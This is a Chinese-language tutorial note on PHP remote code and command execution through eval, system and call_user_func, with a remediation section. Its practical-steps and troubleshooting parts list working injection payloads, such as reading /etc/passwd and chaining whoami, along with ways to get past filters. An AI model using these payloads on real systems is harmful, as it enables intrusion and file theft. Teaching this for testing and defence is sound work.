区别在执行对象:系统命令(如 rm -rf)vs 语言代码片段(如一段 PHP/Python)。
核心知识点
1. RCE 两大概念(重点区分)
| 类别 | 执行对象 | 示例函数 | 执行上下文 |
|---|---|---|---|
| 命令执行 | 操作系统命令 | system()、exec()、shell_exec()、passthru() | 操作系统层面 |
| 代码执行 | 编程语言代码 | eval()、assert()、create_function()、preg_replace /e | 语言解释器层面 |
同一参数用 system 是命令执行,用 eval 只能执行 PHP 代码。
2. 命令执行函数与拼接符号
- 命令执行函数:
system、exec、shell_exec、passthru;接收可控参数且未过滤即漏洞。 - 拼接符号(Linux/Windows):
;顺序执行:ping 1.1.1.1 ; ip a&&前一成功才执行后一:ping -c 3 1.1.1.1 && ip a|管道:前输出作后输入||前一失败才执行后一&后台执行- 反引号
`与$()等价:`ipconfig`=$(ipconfig)
ipconfig是 Windows 命令,Linux 用ip addr/ifconfig。
3. eval 与代码执行
eval():字符串当 PHP 代码执行,生产环境通常禁用。assert():旧版本可执行代码字符串。create_function():创建匿名函数,可执行代码。preg_replace:正则含/e时第二个参数被当 PHP 代码执行(新版已弃用)。
4. eval 完整执行流程(从 URL 到系统命令)
请求:
http://192.168.50.1/test.php?code=call_user_func('system',$_GET['cmd']);&cmd=whoami
后端:
<?php
if (isset($_GET['code'])) {
echo eval($_GET['code']);
}
?>
执行链:
1. 浏览器发送 code、cmd 两个参数
2. PHP 参数解析:$_GET['code'] 保存代码字符串,$_GET['cmd'] 保存 'whoami'
3. isset() 判断通过, if
4. eval() 把字符串 call_user_func('system', $_GET['cmd']); 当作 PHP 代码执行
5. $_GET['cmd'] 在 eval 上下文中读出 'whoami'
6. call_user_func() 把 'system' 当函数名、'whoami' 当参数
7. 等价 system('whoami'),调用操作系统命令
8. 操作系统返回 Web/PHP 进程的运行账户(www-data/apache/nginx)
9. system() 直接把输出 HTTP 响应
外层 echo 无输出:system() 直接输出;eval 无 return 返回 null;echo null 无输出。
最终等价:eval(code 字符串) → call_user_func('system','whoami') → system('whoami') → 操作系统执行 whoami。
5. 回调函数 call_user_func(绕过 system 过滤)
- 回调函数:函数作为参数传给另一函数,择机调用。
call_user_func('system', 'ls'):首个参数是函数名,第二个是其参数,等价system('ls')。system()被过滤/禁用时,用回调间接调用:
call_user_func('system', $_GET['cmd']);
- 执行命令的仍是 system(),回调函数本身不执行命令。
- 两者都是代码执行函数,后端收用户传参即可被利用。
6. 为什么这是高危漏洞
可读取文件、环境变量、数据库,并以 Web 账户权限执行系统命令;权限过高时影响更大。
7. 修复思路
- 删除 eval(),不动态执行用户提交的代码。
- 禁止 system()、exec()、shell_exec()、passthru() 接收用户可控参数。
- 用白名单映射选择固定操作:
$actions = [
'show_user' => function () { return '固定业务逻辑'; },
];
$action = $_GET['action'] ?? '';
if (isset($actions[$action])) {
echo $actions[$action]();
} else {
http_response_code(400);
echo '非法操作';
}
- Web 服务以低权限账户运行,用容器、SELinux/AppArmor 限制影响。
实操步骤
# 命令执行测试
?cmd=whoami
?cmd=id
?cmd=ping -c 3 127.0.0.1 ; whoami
?cmd=cat /etc/passwd
?cmd=`whoami`
# 代码执行
?code=phpinfo();
?code=system('whoami');
# 回调函数绕过(system 被过滤时)
?code=call_user_func('system',$_GET['cmd']);&cmd=whoami
# preg_replace /e(旧版本)
?code=preg_replace('/.*/e', $_GET['cmd'], 'x');
常见错误与排查
- 分不清两类 → 记执行对象:系统命令 vs 语言代码。
- eval 不执行 → 检查末尾分号、引号成对;
code参数不能带<?php ?>标签。 - system 被过滤 → 用
call_user_func或preg_replace。 - 拼接失败 → 注意
&&与&;URL 中&需编码。 - 输出为空 → 用
echo确认;检查是否被 WAF 拦截。